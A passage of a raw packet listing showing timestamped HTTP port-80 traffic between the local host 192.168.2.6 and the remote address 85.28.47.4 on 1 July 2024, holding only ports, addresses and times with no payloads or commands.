Jul 1, 2024 07:20:44.843132973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843147039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843166113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843271017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843301058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843314886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843317032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843327999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843327999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843343973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843358994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843364000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843364000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843374968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843379974 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843396902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843414068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843539000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843554020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843569994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843580961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843586922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843592882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843604088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843610048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843621969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843631983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843638897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843641043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843660116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843681097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843889952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843904018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843919992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843931913 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843934059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843945980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843950987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843965054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.843966007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843981028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.843991995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844003916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844012022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844019890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844034910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844036102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844053030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844060898 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844065905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844079971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844079971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844089985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844096899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844108105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844113111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844125032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844146013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844157934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844269037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844310999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844358921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844374895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844389915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844403982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844404936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844417095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844420910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844434023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844451904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844599962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844646931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844822884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844846010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844860077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844871998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844875097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844892025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844894886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844906092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844911098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844928026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844929934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844942093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844954014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844959974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844970942 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844975948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.844989061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.844993114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845005035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845010042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845031023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845032930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845056057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845067978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845289946 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845305920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845321894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845340014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845343113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845360041 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845366955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845379114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845381975 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845397949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845405102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845416069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845424891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845433950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845439911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845449924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845458984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845464945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845470905 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845480919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845491886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845496893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845508099 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845511913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845525980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845529079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845541000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845546007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.845566034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.845586061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934562922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934581995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934598923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934667110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934722900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934742928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934758902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934772968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934783936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934798002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934803963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934814930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934834003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934838057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934855938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934864998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934870958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934875011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934885979 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934905052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934915066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934930086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934947014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934947014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934961081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934962988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.934973955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.934978962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935018063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935018063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935024023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935041904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935058117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935060978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935074091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935082912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935100079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935117006 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935143948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935163021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935170889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935179949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935188055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935197115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935211897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935239077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935266018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935379028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935395002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935420036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935440063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935446024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935461998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935477018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935486078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935497046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935503960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935507059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935523033 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935533047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935650110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935674906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935691118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935712099 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935781956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935797930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935811996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935826063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935830116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935836077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935849905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935854912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935866117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935870886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935882092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.935889959 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935908079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.935920954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936095953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936113119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936126947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936139107 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936144114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936153889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936162949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936175108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936178923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936187029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936197042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936203957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936212063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936220884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936228991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936239004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936244011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936252117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936275005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936291933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936429024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936444998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936459064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936474085 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936489105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936499119 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936527014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936569929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936588049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936602116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936606884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936630011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936654091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936678886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936691046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936702013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936713934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936723948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936723948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936739922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936765909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936809063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936820030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936849117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936870098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936930895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936943054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936954021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936964989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936974049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.936975956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936992884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.936996937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937005043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937015057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937016010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937028885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937041044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937050104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937061071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937064886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937081099 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937102079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937350035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937361956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937374115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937386036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937392950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937417030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937438011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937478065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937483072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937524080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937613010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937624931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937635899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937648058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937653065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937674046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937675953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937686920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937699080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937700033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937711954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937722921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937726021 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937736034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937746048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937751055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937762976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937766075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937782049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937782049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.937803984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.937820911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.938072920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938083887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938095093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938105106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938116074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938122988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.938143015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938157082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938157082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.938157082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.938174963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938186884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938189983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.938199997 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.938199997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938215971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.938225031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938236952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938239098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.938261032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.938277960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.938478947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938491106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938503981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938514948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.938518047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.938539028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.938564062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:45.027959108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.027981997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.027995110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028007030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028021097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:45.028033018 CEST	80	49711	85.28.47.4	192.168.2.6
